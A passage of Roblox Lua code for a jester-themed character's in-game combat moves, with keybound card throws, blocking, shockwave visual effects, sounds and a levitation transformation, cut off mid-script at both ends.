Root.CFrame = CFrame.new(mouse.Hit.p) * CFrame.new(0,3.3,0)
wait(.1)
attacking = false
debounce = false
end
end
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='q' then
if levitate then return end
if mouse.Target ~= nil and mouse.Target.Parent ~= Character and mouse.Target.Parent.Parent ~= Character and mouse.Target.Parent:FindFirstChildOfClass("Humanoid") ~= nil and mouse.Target.Parent:FindFirstChildOfClass("Humanoid").Health ~= 0 then
if debounce then return end
debounce = true
attacking = true
appi = true
ws = 0
coroutine.wrap(function()
while appi do
wait()
if Root.Velocity.y > 1 and attacking == true then
position = "Jump2"
elseif Root.Velocity.y < -1 and attacking == true then
position = "Falling2"
elseif Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle2"
elseif Root.Velocity.Magnitude > 2 and attacking == true then
position = "Walking2"
end
end
end)()
coroutine.wrap(function()
while appi do
wait()
settime = 0.05
sine = sine + change
if position == "Jump2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4)
elseif position == "Falling2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2)
elseif position == "Idle2" and attacking == true and appi == true then
change = .4
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
elseif position == "Walking2" and attacking == true and appi == true then
change = .8
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + RightLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0) + LeftLeg.RotVelocity.Y / 30, math.cos(25 * math.cos(sine/8))), 0.3)
end
end
end)()
enemyhum = mouse.Target.Parent:FindFirstChildOfClass("Humanoid")
ETorso = enemyhum.Parent:FindFirstChild("Torso") or enemyhum.Parent:FindFirstChild("LowerTorso")
EHead = enemyhum.Parent:FindFirstChild("Head")
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
brick = Instance.new("Part",Torso)
brick.Anchored = true
brick.CanCollide = false
brick.Material = "Neon"
brick.Transparency = 1
brick.BrickColor = BrickColor.new("White")
brick.Size = Vector3.new(8,.3,12)
brick.CFrame = Root.CFrame * CFrame.new(math.random(-15,15),-3,math.random(-15,15))
SOUND(brick,1888686669,6,false,1.5)
ace = aces[math.random(1,#aces)]
acer = Instance.new("Decal",brick)
acer.Texture = "rbxassetid://1898092341"
acer.Transparency = 1
acer.Face = "Top"
coroutine.wrap(function()
for i = 1, 20 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2)
brick.Transparency = brick.Transparency - .05
acer.Transparency = acer.Transparency - .1
swait()
end
end)()
ETorso.Anchored = true
EHead.Anchored = true
for i = 1, 25 do
swait()
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,-.2,0) * CFrame.Angles(0,0,0),.3)
LEFTARMLERP.C1 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3)
brick.CFrame = brick.CFrame:lerp(CFrame.new(ETorso.Position) * CFrame.new(0,-3,0) * CFrame.Angles(0,math.rad(0+10),0),.2)
end
SOUND(brick,472214107,6,false,2)
coroutine.wrap(function()
for i = 1, 10 do
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,ETorso.Position),.2)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, .8, 0.4) * CFrame.Angles(math.rad(-60 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3)
swait()
end
end)()
shockwave = Instance.new("Part", Torso)
shockwave.Size = Vector3.new(1,1,1)
shockwave.CanCollide = false
shockwave.Anchored = true
shockwave.Transparency = 0
shockwave.BrickColor = BrickColor.new("White")
shockwave.CFrame = CFrame.new(brick.Position)
shockwavemesh = Instance.new("SpecialMesh", shockwave)
shockwavemesh.Scale = Vector3.new(1,1,1)
shockwavemesh.MeshId = "rbxassetid://20329976"
removeuseless:AddItem(shockwave,4)
shockwave2 = Instance.new("Part", Torso)
shockwave2.Size = Vector3.new(1,1,1)
shockwave2.CanCollide = false
shockwave2.Anchored = true
shockwave2.Transparency = 0
shockwave2.BrickColor = BrickColor.new("White")
shockwave2.CFrame = CFrame.new(brick.Position)
shockwavemesh2 = Instance.new("SpecialMesh", shockwave2)
shockwavemesh2.Scale = Vector3.new(1,1,1)
shockwavemesh2.MeshId = "rbxassetid://20329976"
removeuseless:AddItem(shockwave2,4)
for i = 1, 35 do
swait()
shockwavemesh.Scale = shockwavemesh.Scale + Vector3.new(2,.1,2)
shockwave.CFrame = shockwave.CFrame * CFrame.Angles(0,math.rad(0+12),0)
shockwave.Transparency = shockwave.Transparency + .05
shockwavemesh2.Scale = shockwavemesh2.Scale + Vector3.new(.5,.1,.5)
shockwave2.CFrame = shockwave2.CFrame * CFrame.Angles(0,math.rad(0+4),0)
shockwave2.Transparency = shockwave2.Transparency + .03
EHead.CFrame = EHead.CFrame * CFrame.new(0,-.20,0)
ETorso.CFrame = ETorso.CFrame * CFrame.new(0,-.25,0)
end
for i = 1, 8 do
brick.Size = brick.Size + Vector3.new(1.5,0,2.5)
swait()
end
n = 0
SOUND(brick,54111471,6,false,1)
for i = 1, 40 do
n = n + 6
brick.Transparency = brick.Transparency + .025
acer.Transparency = acer.Transparency + .075
brick.CFrame = brick.CFrame * CFrame.Angles(0,math.rad(n),0)
brick.Size = brick.Size - Vector3.new(1.5,.025,2.5)
swait()
end
ws = 10
brick:Remove()
enemyhum.Parent:Remove()
attacking = false
removeuseless:AddItem(g1,0.001)
debounce = false
appi = false
end
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='p' then
if levitate then return end
if blocking then
if blockedoff then return end
clickallowance = false
appi = false
attacking = true
blocking = false
throwing = true
ws = 0
n = 0
blockcard.CanCollide = false
for i = 1, 35 do
n = n + 20
blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5) * CFrame.Angles(0,math.rad(n),0)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(25), math.rad(0)), 0.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3)
swait()
end
blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5 + -1) * CFrame.Angles(0,0,0)
blockcard.CanCollide = false
locater1 = Instance.new("Part",blockcard)
locater1.Size = Vector3.new(1,1,1)
locater1.CanCollide = false
locater1.Anchored = true
locater1.Transparency = 1
locater2 = Instance.new("Part",blockcard)
locater2.Size = Vector3.new(1,1,1)
locater2.CanCollide = false
locater2.Transparency = 1
locater2.Anchored = true
locater3 = Instance.new("Part",blockcard)
locater3.Size = Vector3.new(1,1,1)
locater3.Transparency = 1
locater3.CFrame = blockcard.CFrame * CFrame.Angles(math.rad(90),0,0)
locater3.CanCollide = false
locater3.Anchored = true
fushfush = Instance.new("Sound",blockcard)
fushfush.SoundId = "rbxassetid://288641686"
fushfush.Volume = 8
fushfush:Play()
boosh:Play()
coroutine.wrap(function()
n = 0
for i = 1, 35 do
n = n + 10
shockwave = Instance.new("Part", Torso)
shockwave.Size = Vector3.new(1,1,1)
shockwave.CanCollide = false
shockwave.Anchored = true
shockwave.Transparency = .5
shockwave.BrickColor = BrickColor.new("White")
shockwave.CFrame = locater3.CFrame
shockwavemesh = Instance.new("SpecialMesh", shockwave)
shockwavemesh.Scale = Vector3.new(15,.7,15)
shockwavemesh.MeshId = "rbxassetid://20329976"
shockwave.CFrame = locater3.CFrame * CFrame.Angles(math.rad(0),math.rad(1),0)
removeuseless:AddItem(shockwave,1)
table.insert(lolzor2,shockwave)
for i,v in pairs(lolzor2) do
v.Transparency = v.Transparency + .1
v.CFrame = v.CFrame * CFrame.Angles(math.rad(0),math.rad(n),0)
end
swait()
end
end)()
for i = 1, 35 do
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-20), math.rad(0)), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-20), math.rad(4)), 0.3)
fushfush.Volume = fushfush.Volume - .2
Hit = damagealll(20,blockcard.Position)
for _,v in pairs(Hit) do
v:FindFirstChildOfClass("Humanoid"):TakeDamage(math.random(0,0))
vel = Instance.new("BodyVelocity",v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
torso = v:FindFirstChild("Torso") or v:FindFirstChild("UpperTorso")
vel.velocity = CFrame.new(blockcard.Position,torso.Position).lookVector*120
removeuseless:AddItem(vel,.1)
end
locater1.CFrame = blockcard.CFrame * CFrame.new(-5,-6,0)
locater3.CFrame = blockcard.CFrame * CFrame.new(0,0,-1) * CFrame.Angles(math.rad(90),0,0)
locater2.CFrame = blockcard.CFrame * CFrame.new(5,-6,0)
grassblocks = Instance.new("Part",Torso)
grassblocks.Size = Vector3.new(4,4,4)
grassblocks.Material = "Grass"
grassblocks.Anchored = true
grassblocks.BrickColor = BrickColor.new("Bright green")
grassblocks.CFrame = locater1.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
removeuseless:AddItem(grassblocks,5)
grassblocks2 = Instance.new("Part",Torso)
grassblocks2.Size = Vector3.new(4,4,4)
grassblocks2.Material = "Grass"
grassblocks2.Anchored = true
grassblocks2.BrickColor = BrickColor.new("Bright green")
grassblocks2.CFrame = locater2.CFrame * CFrame.Angles(math.rad(math.random(-180,180)),math.rad(math.random(-180,180)),math.rad(math.random(-180,180)))
removeuseless:AddItem(grassblocks2,5)
blockcardshadow = Instance.new("Part",Torso)
blockcardshadow.Transparency = .5
blockcardshadow.Anchored = true
blockcardshadow.Material = "Neon"
blockcardshadow.BrickColor = BrickColor.new("White")
blockcardshadow.Size = Vector3.new(8, 13, 0.3)
blockcardshadow.CanCollide = false
blockcardshadow.CFrame = blockcard.CFrame
removeuseless:AddItem(blockcardshadow,2)
table.insert(lolzor,blockcardshadow)
for i,v in pairs(lolzor) do
v.Transparency = v.Transparency + 0.05
end
blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,-4)
swait()
end
blockcard.Name = "Getthisshitoutofhere"
for i = 1, 10 do
blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,-2)
blockcard.Transparency = blockcard.Transparency + .1
acer.Transparency = blockcard.Transparency
ace2.Transparency = blockcard.Transparency
for i,v in pairs(lolzor) do
v.Transparency = v.Transparency + .05
end
for i,v in pairs(lolzor2) do
v.Transparency = v.Transparency + .1
end
swait()
end
lolzor={}
lolzor2={}
attacking = false
debounce = false
blocking = false
throwing = false
fushfush:Remove()
clickallowance = false
appi = false
blockcard:Remove()
g1:Remove()
ws = 10
else
if debounce then return end
if throwing then return end
debounce = true
ws = 10
attacking = true
blocking = true
boosh = Instance.new("Sound",nil)
boosh.SoundId = "rbxassetid://413682983"
boosh.Volume = 6
appi = true
coroutine.wrap(function()
while appi do
wait()
if Root.Velocity.y > 1 and attacking == true then
position = "Jump2"
elseif Root.Velocity.y < -1 and attacking == true then
position = "Falling2"
elseif Root.Velocity.Magnitude < 2 and attacking == true then
position = "Idle2"
elseif Root.Velocity.Magnitude > 2 and attacking == true then
position = "Walking2"
end
end
end)()
coroutine.wrap(function()
while appi do
wait()
settime = 0.05
sine = sine + change
if position == "Jump2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.4,.1,-.2) * CFrame.Angles(math.rad(20),math.rad(3),math.rad(4)), 0.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.4)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.4)
elseif position == "Falling2" and attacking == true and appi == true then
change = 1
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.4)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 2, 0) * CFrame.Angles(math.rad(8), math.rad(4), math.rad(0)), 0.2)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.0, .9) * CFrame.Angles(math.rad(14), math.rad(-4), math.rad(0)), 0.2)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.6, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-20)), 0.2)
elseif position == "Idle2" and attacking == true and appi == true then
change = .4
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.3, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-10)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.3, 2.0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(10)), 0.3)
elseif position == "Walking2" and attacking == true and appi == true then
change = .8
LEFTLEGLERP.C1 = LEFTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.1)
RIGHTLEGLERP.C1 = RIGHTLEGLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),0,0),.1)
RIGHTARMLERP.C0 = RIGHTARMLERP.C0:lerp(CFrame.new(-1.5,.6,-.5) * CFrame.Angles(math.rad(32),math.rad(5 - 1 * math.sin(sine/12)),math.rad(40 - 2 * math.sin(sine/12))), 0.3)
RIGHTARMLERP.C1 = RIGHTARMLERP.C1:lerp(CFrame.new(-.2,1.2,-.3),.3)
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,math.rad(0) + Root.RotVelocity.Y/30,math.cos(25*math.cos(sine/8))),.3)
RIGHTLEGLERP.C0 = RIGHTLEGLERP.C0:lerp(CFrame.new(-0.5, 1.92 - 0.35 * math.cos(sine/8)/2.8, 0.2 - math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) + -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0)), 0.3)
LEFTLEGLERP.C0 = LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.92 + 0.35 * math.cos(sine/8)/2.8, 0.2 + math.sin(sine/8)/3.4) * CFrame.Angles(math.rad(10) - -math.sin(sine/8)/2.3, math.rad(0)*math.cos(sine/1), math.rad(0)), 0.3)
end
end
end)()
blockcard = Instance.new("Part",Torso)
blockcard.Material = "Neon"
blockcard.Transparency = 1
blockcard.BrickColor = BrickColor.new("White")
blockcard.Size = Vector3.new(8, 13, 0.3)
blockcard.CFrame = Root.CFrame * CFrame.new(0,2,-5)
blockcard.Anchored = true
boosh.Parent = blockcard
SOUND(blockcard,236989198,6,false,1)
ace = aces[math.random(1,#aces)]
acer = Instance.new("Decal",blockcard)
acer.Texture = "rbxassetid://"..ace
acer.Transparency = 1
acer.Face = "Front"
ace2 = acer:Clone()
ace2.Parent = blockcard
ace2.Face = "Back"
coroutine.wrap(function()
for i = 1, 20 do
blockcard.Transparency = blockcard.Transparency - 0.05
acer.Transparency = blockcard.Transparency
ace2.Transparency = blockcard.Transparency
swait()
end
clickallowance = true
end)()
g1 = Instance.new("BodyGyro", Root)
g1.D = 175
g1.P = 20000
g1.MaxTorque = Vector3.new(0,9000,0)
coroutine.wrap(function()
while blocking do
if not blockedoff then
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0,-.2, 0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0)),.3)
blockcard.CFrame = Root.CFrame * CFrame.new(0,3,-5)
g1.CFrame = g1.CFrame:lerp(CFrame.new(Root.Position,mouse.Hit.p),.2)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,0,0),.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(3), math.rad(4)), 0.3)
end
swait()
end
end)()
wait(1)
mouse.Button1Down:connect(function()
if throwing then return end
if not clickallowance then return end
clickallowance = false
blockedoff = true
ws = 0
for i = 1, 15 do
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(25), math.rad(0)), 0.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-50 - 2 * math.sin(sine/12)), math.rad(12), math.rad(9)), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(-.65, .6, 1) * CFrame.Angles(0,0,0),.3)
swait()
end
boosh:Play()
hitdebounce = false
blockcard.Touched:connect(function(hit)
if hit.Parent:IsA("Part") then
elseif hit.Parent:IsA("SpecialMesh") then
elseif hit.Parent.Name == game.Players.LocalPlayer.Name then
elseif hit.Parent:findFirstChildOfClass("Humanoid") then
for i,v in pairs(hit.Parent:GetChildren()) do
Slachtoffer = v.Parent:FindFirstChildOfClass("Humanoid")
if hitdebounce then return end
hitdebounce = true
vel = Instance.new("BodyVelocity",hit.Parent:FindFirstChild("Torso") or hit.Parent:FindFirstChild("UpperTorso"))
vel.maxForce = Vector3.new(9999999999999,9999999999999,9999999999999)
if Slachtoffer.RigType == Enum.HumanoidRigType.R15 then
tors = hit.Parent:FindFirstChild("UpperTorso")
else
tors = hit.Parent:FindFirstChild("Torso")
end
vel.velocity = CFrame.new(Root.Position,tors.Position).lookVector*120
removeuseless:AddItem(vel,.1)
Slachtoffer:TakeDamage(math.random(0,0))
end
end
end)
for i = 1, 10 do
ROOTLERP.C0 = ROOTLERP.C0:lerp(CFrame.new(0, -.2, 0) * CFrame.Angles(math.rad(0), math.rad(-20), math.rad(0)), 0.3)
LEFTARMLERP.C1 = LEFTARMLERP.C1:lerp(CFrame.new(0,0,0) * CFrame.Angles(0,0,0),.3)
LEFTARMLERP.C0 = LEFTARMLERP.C0:lerp(CFrame.new(1, 1.35, 0.4) * CFrame.Angles(math.rad(-90 - 2 * math.sin(sine/12)), math.rad(-20), math.rad(4)), 0.3)
blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,0-1)
swait()
end
for i = 1, 10 do
blockcard.CFrame = blockcard.CFrame * CFrame.new(0,0,0+1)
swait()
end
hitdebounce = true
ws = 10
clickallowance = true
blockedoff = false
end)
end
end
end)
mouse.KeyDown:connect(function(Press)
Press=Press:lower()
if Press=='f' then
if debounce then return end
if notallowedtransform then return end
debounce = true
if levitate then
levitate = false
mjester.VertexColor = Vector3.new(1, 1, 1)
glow.Transparency = 1
blastwave = Instance.new("Part",Torso)
blastwave.CFrame = Torso.CFrame
blastwave.Anchored = true
blastwave.Material = "Neon"
blastwave.CanCollide = false
blastwave.Shape = "Ball"
blastwave.Size = Vector3.new(3,3,3)
coroutine.wrap(function()
for i = 1, 20 do
levitatewave.Transparency = levitatewave.Transparency + 0.05
levitatewave2.Transparency = levitatewave2.Transparency + 0.05
blastwave.Size = blastwave.Size + Vector3.new(2,2,2)
blastwave.Transparency = blastwave.Transparency + 0.05
swait()
end
blastwave:Remove()
levitatewave2:Remove()
levitatewave:Remove()
end)()
ws = 10
notallowedtransform = true
attacking = true
coroutine.wrap(function()
for i = 1, 10 do
for i,v in pairs(LeftArm:GetChildren()) do if v.Name == lmagic.Name then
v.Transparency = v.Transparency + 0.1
end
end
for i,v in pairs(RightArm:GetChildren()) do if v.Name == rmagic.Name then
v.Transparency = v.Transparency + 0.1
end
end
wait()
end
end)()
doomtheme.SoundId = "rbxassetid://1843358057"
jesterWeld.C0 = CFrame.new(0,0,0) * CFrame.Angles(0,0,0)
wait(0.000001)
jesterWeld.C0 = jester.CFrame:inverse() * Head.CFrame * CFrame.new(0,-.3,0) * CFrame.Angles(math.rad(0),math.rad(90),0)
mjester.Scale = Vector3.new(1.1, 1.1, 1.1)
mjester.MeshId,mjester.TextureId = 'rbxassetid://1241662062','rbxassetid://1241662395'
mMask.Scale = Vector3.new(0.13, 0.13, 0.1)
mMask.MeshId,mMask.TextureId = 'http://www.roblox.com/asset/?id=5158270','http://www.roblox.com/asset/?id=9543585'
maskweld.C0 = CFrame.new(0,0,0)*CFrame.Angles(0,0,0)
wait(0.000001)
maskweld.C0 = CFrame.new(0,-.555,0) * CFrame.Angles(math.rad(90),0,0)
eyo1 = Instance.new("Part",Head)
eyo1.BrickColor = BrickColor.new("White")
eyo1.Material = "Neon"
eyo1.Shape = "Ball"
eyo1.Name = "eyo1"
eyo1.CanCollide = false
eyo1.Transparency = 1
eyo1.Size = Vector3.new(0.33, 0.33, 0.33)
eyo1weld = weldBetween(eyo1,Head)
eyo1weld.C0 = CFrame.new(.215,-.05,.52)
light = Instance.new("PointLight", eyo1)
light.Color = Color3.new(1,1,1)
light.Range = 3
light.Brightness = 4
light.Enabled = true
eyo2 = Instance.new("Part",Head)
eyo2.BrickColor = BrickColor.new("White")
eyo2.Material = "Neon"
eyo2.Shape = "Ball"
eyo2.Name = "eyo2"
eyo2.Transparency = 1
eyo2.CanCollide = false
eyo2.Size = Vector3.new(0.33, 0.33, 0.33)
eyo2weld = weldBetween(eyo2,Head)
eyo2weld.C0 = CFrame.new(-.215,-.05,.52)
light2 = Instance.new("PointLight", eyo2)
light2.Color = Color3.new(1,1,1)
light2.Range = 3
light2.Brightness = 4
light2.Enabled = true
hum.HipHeight = 0
ws = 10
debounce = false
attacking = false
coroutine.wrap(function()
wait(3)
notallowedtransform = false
end)()
else
ws = 50
notallowedtransform = true
levitate = true
ws = 50
glow.Transparency = 0
eyo1:Remove()
eyo2:Remove()
coroutine.wrap(function()
while levitate do
for i,v in pairs(Head:GetChildren()) do
if v.Name == "eyo1" or v.Name == "eyo2" then
v:Remove()
end
end
wait()
end
end)()
mnb = 0
levitatewave = Instance.new("Part", Torso)
levitatewave.Size = Vector3.new(1,1,1)
levitatewave.CanCollide = false
levitatewave.Anchored = true
levitatewave.Transparency = .5
levitatewave.BrickColor = BrickColor.new("Really black")
levitatewave.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-5,0)
levitatewavemesh = Instance.new("SpecialMesh", levitatewave)
levitatewavemesh.Scale = Vector3.new(2.5,.3,2.5)
levitatewavemesh.MeshId = "rbxassetid://20329976"
levitatewave2 = Instance.new("Part", Torso)
levitatewave2.Size = Vector3.new(1,1,1)
levitatewave2.CanCollide = false
levitatewave2.Anchored = true
levitatewave2.Transparency = .5
levitatewave2.BrickColor = BrickColor.new("Really red")
levitatewave2.CFrame = CFrame.new(Root.Position) * CFrame.new(0,-5,0)
levitatewavemesh2 = Instance.new("SpecialMesh", levitatewave2)
levitatewavemesh2.Scale = Vector3.new(2,.4,2)
levitatewavemesh2.MeshId = "rbxassetid://20329976"
blastwave = Instance.new("Part",Torso)
blastwave.CFrame = Torso.CFrame
blastwave.Anchored = true
blastwave.Material = "Neon"
blastwave.CanCollide = false
blastwave.Shape = "Ball"
